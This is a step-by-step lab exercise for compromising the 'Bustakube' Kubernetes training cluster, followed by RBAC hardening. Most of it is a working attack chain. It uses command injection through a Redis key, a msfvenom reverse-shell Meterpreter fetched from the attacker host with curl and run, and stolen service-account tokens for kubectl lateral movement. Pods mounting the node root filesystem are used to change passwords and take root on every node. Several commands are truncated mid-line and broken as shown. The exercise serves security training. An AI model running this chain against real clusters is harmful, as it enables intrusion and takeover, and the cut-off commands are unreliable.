Exercise: Kubernetes Own the Nodes

Steps

1. Start up a fresh lxterminal by clicking the "sparrow" logo in the bottom-left corner of the screen, clicking run, typing `lxterminal` and hitting enter. Alternatively, use the hot key sequence below:

`<hold down Alt><hit F2>lxterminal<HIT the enter key>`

2. Start your Kubernetes cluster - we will use this one for all Kubernetes exercises except for the Cloud Attacks, Peirates and Node Attacks:

   `/scripts/suspend-all-vms.sh`
   `/scripts/resume-bustakube-from-managed-save.sh`

3. Start up a Firefox browser. You can use the icon in the top left menu bar, or use the same "Run" process from step 1. Then browse to the guestbook application via this URL:

   http://bustakube-controlplane:31361/

4. Enter in a message to show up in the guestbook and click "Submit".

5. Use the browser's "View Source" function to look at the source for this page. In Firefox, you can either hit `Ctrl-U` or right-click the page and choose "View Page Source".

6. You may notice that the form intelligence is probably in the `controllers.js` file.

7. Start a second browser tab, use it to browse to this URL, then use the View Source function (`Ctrl-U` / "View Page Source"):

   http://bustakube-controlplane:31361/controllers.js

   (On Firefox, you can just put this in your URL bar: view-source:http://10.23.58.40:31361/controllers.js)

8. Notice that there are two functions.

   a. The first, sent on Guestbook message submission, sends a request like this:

`guestbook.php?cmd=set&key=messages&value=VALUE`

b. The second gets messages on the page by sending a request like this:

`guestbook.php?cmd=get&key=messages`

c. This may be a vulnerability – `guestbook.php` is letting the form choose which key it will set. It may even let the attacker choose an arbitrary command.

d. Let's check this out – browse to this URL to see if we can set a key called `hacker` to `1`.

http://bustakube-controlplane:31361/guestbook.php?cmd=set&key=hacker&value=1

e. Excellent! It looks like the key gets updated (or set) in Redis.

f. Spoiler: `guestbook.php` won't send a command besides `get` and `set`.

g. We'll have to see if this is useful to us.

9. Let's go looking for any other web content that could be useful. On your Kali system, start up `dirbuster`. You can type `dirbuster` into a terminal window or use the same Run method we used in step 1.
10. Set the "Target URL" to: http://bustakube-controlplane:31361/
11. Use the `directory-list-2.3-small.txt` wordlist
    a. Click `dirbuster`'s Browse button
    b. Navigate to `/usr/share/dirbuster/wordlists`
    c. Choose the file `directory-list-2.3-small.txt`
12. Deactivate dirbuster's "Be Recursive" toggle
13. Click `dirbuster`'s Start button to start the scan, then click the "Results - List View" tab to switch to the Results view.
14. When dirbuster finds `/status.php` and `/guestbook.php`, click `dirbuster`'s Stop button. `status.php` will be all we'll need.
15. Open up a second browser tab and browse to this URL:

    http://bustakube-controlplane:31361/status.php

16. We should get an ERROR message. If not, reload that link again to get an ERROR.
    a. This error suggests that the `status.php` page runs a command that it gets from the Redis "command" key. It defaults to a `curl` command.
    b. Remember that we're able to set arbitrary Redis keys using `guestbook.php`.

17. In a browser tab, use the `guestbook.php` page to set the command key to `whoami`:

    http://bustakube-controlplane:31361/guestbook.php?cmd=set&key=command&value=whoami

18. Now, load the `status.php` page to make the command execute - you may need to reload:

    http://bustakube-controlplane:31361/status.php

19. Repeat the previous two steps with different values if you like, to see that you have a shell.

20. Repeat 17, using the `guestbook.php` page to set the command key to `env | grep KUBERNETES` to look at the environment variables set in the pod

    `http://bustakube-controlplane:31361/guestbook.php?cmd=set&key=command&value=env|grep KU`

21. Repeat step 18 to see the command run.

22. Let's prep Metasploit to catch our shell. Start a Metasploit console session:

    ```
    msfconsole
    ```

23. In the console, run these commands to start a listener:

    ```
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 10.23.58.30
    set ExitOnSession false
    exploit -j
    ```

24. Start another terminal window/tab. Create a Meterpreter binary, as a Linux 32-bit ELF file, encoded with shikata_ga_nai, which will connect back to your Kali host's port `4444`:

    ```
    cd ~

    msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
    LHOST=10.23.58.30 LPORT=4444 -e x86/shikata_ga_nai -o mrsbin -f elf
    ```

25. Now stage a web server in that terminal, hosting the `mrsbin` binary:

    ```
    cd ~ ; python3 -m http.server 80
    ```

26. Let's now put a new command into the Redis database. Go back to your browser tab that was submitting requests to `guestbook.php` and **enter this in the value field**:

    ```
    curl http://10.23.58.30/mrsbin >mrsbin ; chmod 0700 mrsbin ; ./mrsbin
    # DO NOT TYPE THE ABOVE INTO A SHELL
    ```

27. Note that the complete URL bar in the previous step will look like:

```
http://bustakube-controlplane:31361/guestbook.php?cmd=set&key=command&value=curl http:/
```

28. Go back to the browser tab that was loading `status.php` and hit reload. Alternatively, use this URL:

    http://bustakube-controlplane:31361/status.php

29. The status page will seem to be stuck loading forever. This is good. If you checked out your Python web server's output, you'll see that it has logged a `GET` request from the Kubernetes cluster, requesting the `mrsbin` binary:

    ```
    $ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    10.23.58.41 - - [28/Jul/2021 00:52:13] "GET /mrsbin HTTP/1.1" 200 -
    ```

30. Go check your Metasploit console. You should now see a line that reads something like "Meterpreter session 1 opened. . . "

31. Congratulations! You've achieved remote code execution in a container that's in a pod in a Kubernetes cluster.

32. Interact with this new session:

    ```
    sessions -i 1
    ```

33. Upload a pod manifest YAML file into the container.

    ```
    upload /home/lockthisdown/K8S-Exercise/attack-pod.yaml
    ```

34. Send a `kubectl` binary into the container you've compromised.

    ```
    upload /home/lockthisdown/K8S-Exercise/kubectl
    ```

35. Instruct meterpreter to give you a minimal interactive shell in the pod. You won't get any immediate feedback from the system, just a pair of "Process . . . created" and "Channel . . . created" lines from Metasploit.

    ```
    shell
    ```

36. See what user you've scored.

    ```
    id
    ```

37. Type `hostname` to see what pod you've landed in.

    ```
    hostname
    ```

38. **Write down the pod name** – you will need it later on when we harden the cluster.

    ```
    # This is only an example!
    frontend-7c8f6c566-97kfh
    ```

39. View the first flag. You will likely want to zoom out.

    ```
    cat FLAG.txt
    ```

40. Let's get the service account that has been mounted into this container. Type this:

    ```
    mount | grep kubernetes
    ```

41. You'll see that the service account credentials are mounted into the container as `/run/secrets/kubernetes.io/serviceaccount`.

42. List that mount point via:

    ```
    ls /run/secrets/kubernetes.io/serviceaccount
    ```

43. We will need both the certificate authority file (`ca.crt`) and the token (`token`).

44. The format for the `kubectl` commands we'll be running is like so:

    ```
    # /var/www/html/kubectl --token=TOKENTEXT --certificate-authority=/path/ca.crt \
    --server=https://server:443 command-text
    ```

45. Let's make things easy on ourselves by eliminating the need to type all of those flags over and over. We'll put things in variables and use an `alias`. Type this:

    ```
    export DIR="/run/secrets/kubernetes.io/serviceaccount"
    alias kubectl="/var/www/html/kubectl --token=`cat $DIR/token` \
    --certificate-authority=$DIR/ca.crt --server=https://kubernetes.default.svc.cluster.loc
    ```

46. Now make the `kubectl` binary we uploaded executable by typing:

    ```
    chmod u+x /var/www/html/kubectl
    ```

47. Now try asking the API server what pods exist and what nodes they're staged on by running:

    ```
    kubectl get pods -o wide
    ```

48. Let's try seeing if we can stage our own malicious pod into the cluster. Take a look at the pod definition by running:

    ```
    cat attack-pod.yaml
    ```

49. Now try to stage it by running (and observe an error):

    ```
    kubectl apply -f attack-pod.yaml
    ```

50. It looks like our account is forbidden to do this. There are certainly all kinds of other things you could do at this point, but let's see if we can move to another pod. It may have a service account that is allowed to stage pods in the cluster.

51. Run a `kubectl auth can-i` command to investigate what the authorization system allows:

    ```
    kubectl auth can-i exec pods
    ```

52. We get back a yes! Let's move laterally to the `redis-master` pod. Look at your `kubectl get pods` output from earlier – we need the full name of the `redis-master` pod. We'll get it automatically with an embedded shell command.

    ```
    kubectl exec -it `kubectl get pods | grep redis-master | awk '{print $1}' ` -- /bin/bas
    ```

53. Congratulations! You're now in a second container in the cluster, possibly running on a different node. You will see text that says you're not in a proper TTY.

54. Type `id` to see what user you are.

55. Type `hostname` to see that you are in fact in the `redis-master` pod.

56. Let's make things easier on ourselves by adding a Meterpreter to this pod as well:

    ```
    curl http://10.23.58.30/mrsbin >mrsbin
    chmod 0700 mrsbin
    ./mrsbin
    ```

57. Hit `Ctrl-Z` then `Y` to background this Meterpreter channel.

58. Type `background` to get back to the Metasploit console.

59. Type `sessions -l` (for list) to see that there's a second session available now. The new one runs as `uid=0`!

    - If there isn't a new session yet, your handler in Metasploit might not be accepting new connections. If that's the case, use this troubleshooting step:

      ```
      exploit -j
      ```

60. Once you see a new session, type `sessions -i 2` to interact with the second session.

61. Upload two YAML files we'll use to start up pods from this Redis container.

    ```
    upload /home/lockthisdown/K8S-Exercise/attack-pod.yaml
    upload /home/lockthisdown/K8S-Exercise/daemonset-attack.yaml
    ```

62. Upload a kubectl binary to the Redis container.

    ```
    upload /home/lockthisdown/K8S-Exercise/kubectl
    ```

63. Let's start a shell in this container by typing `shell` into the Metasploit console.

64. Make the shell interactive and easier to read by running a few commands:

    ```
    bash -i
    export PS1="\u@\h # "
    unalias ls
    ```

```
export TERM=vt100
```

65. Now let's set up `kubectl` in the Redis master pod:

```
chmod u+x kubectl

export DIR="/run/secrets/kubernetes.io/serviceaccount"

alias kubectl="/data/kubectl --token=`cat $DIR/token` \
--certificate-authority=$DIR/ca.crt --server=https://kubernetes.default.svc.cluster.loc
```

66. Now let's ask if we are allowed to create pods:

```
kubectl auth can-i create pods
```

67. We got a yes! Take a look at my attack-pod.yaml file:

```
cat attack-pod.yaml
```

68. In that YAML file, take a look at the `containers:` section's `volumeMounts:` list - this tells Kubernetes what named "volume" to mount onto what path in the container.

69. Also, note how the named volume `mount-root-into-mnt` is described in the `volumes:` section, showing what path from the node's host filesystem gets that name.

70. Finally, in that YAML file, notice that the container image we've chosen is `k8s.gcr.io/redis:e2e`. We chose that because it's likely cached on the Kubernetes nodes. How would you determine this? You want to run a command like this, with the correct values for `STR1` and `STR2`:

```
kubectl get pod redis-master-STR1-STR2 -o yaml | grep "image:"
```

Here's a version you can copy and paste:

```
kubectl get pod `kubectl get pods | grep redis-master | awk '{print $1}' ` -o yaml | gr
```

71. Let's deploy this attack pod, with a `kubectl apply -f`:

```
kubectl apply -f attack-pod.yaml
```

You can also tell Kubernetes to let you know when the new pod is ready:

```
kubectl wait --for=condition=ready pod/attack-pod
```

72. Let's see where our pod is running, using:

```
kubectl get pods -o wide
```

73. Let's go attack the node where that pod is running – you'll need to wait for the pod to be `Running`:

```
kubectl exec -it attack-pod -- /bin/bash
```

74. Now we're in a container, in a pod that we designed, on one of the cluster nodes. Find out which one:

    ```
    cat /mnt/etc/hostname
    ```

75. The `/mnt` directory in this container is the `/` directory on this node. Let's look for a flag.

    ```
    ls /mnt
    ```

76. Grab a flag:

    ```
    cat /mnt/FLAG.txt
    ```

77. User `bustakube` has `sudo` rights on this node. Let's change their password.

    ```
    chroot /mnt /bin/bash
    passwd bustakube
    bustakube
    bustakube
    exit
    ```

78. Now leave this `kubectl` exec, so that you're back in the Redis pod.

    ```
    exit
    ```

79. Confirm for yourself that you're in the redis pod by running `hostname`:

    ```
    hostname
    ```

80. Let's put an attack pod on every node in the cluster (including the control plane node). We'll use a daemonset. Take a look at its contents via:

    ```
    cat daemonset-attack.yaml
    ```

81. Note that this daemonset defines a pod that it will place on every node. The pod has a container called `attack-root`.

82. Note how the pod mounts a volume called `hostroot`, which is the node's host filesystem `/`, onto the container's `/mnt`.

83. Let's apply this attack daemonset with:

    ```
    kubectl apply -f daemonset-attack.yaml
    ```

84. See where this staged pods by running:

    ```
    kubectl get pods -o wide
    ```

85. Go get your other node flag, by using a `kubectl exec` on the `attack-daemonset` pod that corresponds to the node you haven't compromised already.

    ```
    kubectl exec attack-daemonset-STR1 -- cat /mnt/FLAG.txt
    ```

86. Now, let's go compromise the control plane node. Run a `kubectl` for whichever pod corresponds to the `bustakube-controlplane` (hint: look at the output of `kubectl get pods -o wide`):

    ```
    kubectl exec -it attack-daemonset-STR2 -- /bin/bash
    ```

87. Now change bustakube's password on the `bustakube-controlplane` system:

    ```
    chroot /mnt /bin/bash
    passwd bustakube
    bustakube
    bustakube
    ```

88. We are chrooted into the `/mnt` directory in this container (the `/` directory on this node). Let's look for a flag.

    ```
    ls /
    ```

89. Grab the last flag:

    ```
    cat /FLAG.txt
    ```

90. Finally, starting a new terminal on your Kali system, `ssh` into the `bustakube-controlplane` machine:

    ```
    ssh bustakube@bustakube-controlplane
    bustakube
    sudo su -
    ```

{% comment %} NOTE: A quirk in the Markdown rendering means that three digit numbers (>= 100) for numbered lists need to have their hanging blocks (code / link) indented by at least 94 spaces instead of 4, so for here, we use 2 tabs (8 spaces) for consistency. {% endcomment %}

91. Congratulations! You've just compromised the cluster. Take a deep breath.

92. Now let's lock this cluster down.

93. On the `bustakube-controlplane` machine, we'll find a directory full of YAML files:

    ```
    cd /usr/share/bustakube/Scenario1-OwnTheNodes/Defense/RBAC/
    ```

94. Look at contents of the`role-get-only-on-pods.yaml` file. It defines a set of capabilities, a role, called `get-only-on-pods`. This is an allowlist definition that allows any account with this role to execute "get" API requests on "pods."

    ```
    cat role-get-only-on-pods.yaml
    ```

95. Add this role to the default namespace with:

    ```
    kubectl apply -f role-get-only-on-pods.yaml
    ```

96. Take a look at what service accounts exist on the cluster in the default namespace:

    ```
    kubectl get serviceaccounts
    ```

97. Since there are already `frontend` and `redis` roles, we won't create them. Look at the files used to create them.

    ```shell
    cat /usr/share/bustakube/Scenario1-OwnTheNodes/Namespace-Default/service-account-fronte
    cat /usr/share/bustakube/Scenario1-OwnTheNodes/Namespace-Default/service-account-redis.
    ```

98. Now look at a role binding file, which assigns a role (capabilities) to a service account.

    ```shell
    cat binding-get-only-on-pods-frontend.yaml
    ```

99. Note that the role binding is pretty simple. It specifies a subject, in this case a service account, and a role, in this case, `get-only-on-pods`. It gives this pairing a name, "get-only-on-pods-redis-binding."

100. Apply the role bindings to both the `frontend` and `redis` roles:

     ```
     kubectl apply -f binding-get-only-on-pods-frontend.yaml
     kubectl apply -f binding-get-only-on-pods-redis.yaml
     ```

101. Next, delete the rolebindings that were giving more powerful roles to the `frontend` and `redis` service accounts:

     ```
     kubectl delete rolebinding frontend-get-list-exec-pods-binding
     kubectl delete rolebinding redis-full-rw-and-exec-on-pods-binding
     ```

102. Now check out how effective your RBAC has been. First, delete the attack-pod.

     ```
     kubectl delete pod attack-pod
     ```

103. Next, `kubectl` exec into the same frontend pod that you started this exercise on:

     ```
     kubectl exec -it ${PODNAME-WRITTEN-DOWN-IN-STEP-38} -- /bin/bash
     ```

104. From the frontend pod, try to exec into the `redis-master` pod, as in the original attack:

     ```
     export DIR="/run/secrets/kubernetes.io/serviceaccount"

     alias kubectl="/var/www/html/kubectl --token=`cat $DIR/token` \
     --certificate-authority=$DIR/ca.crt --server=https://kubernetes.default.svc.cluster.loc

     kubectl exec -it `kubectl get pods | grep redis-master | awk '{print $1}' ` -- /bin/bas
     ```

105. You should get a pretty involved error message, since the get pods will fail.

106. For extra credit, after the class ends, create a network policy that doesn't allow the `frontend` or `redis-master` pods to initiate any connections outbound, so that our original meterpreter can't connect back to the Metasploit console.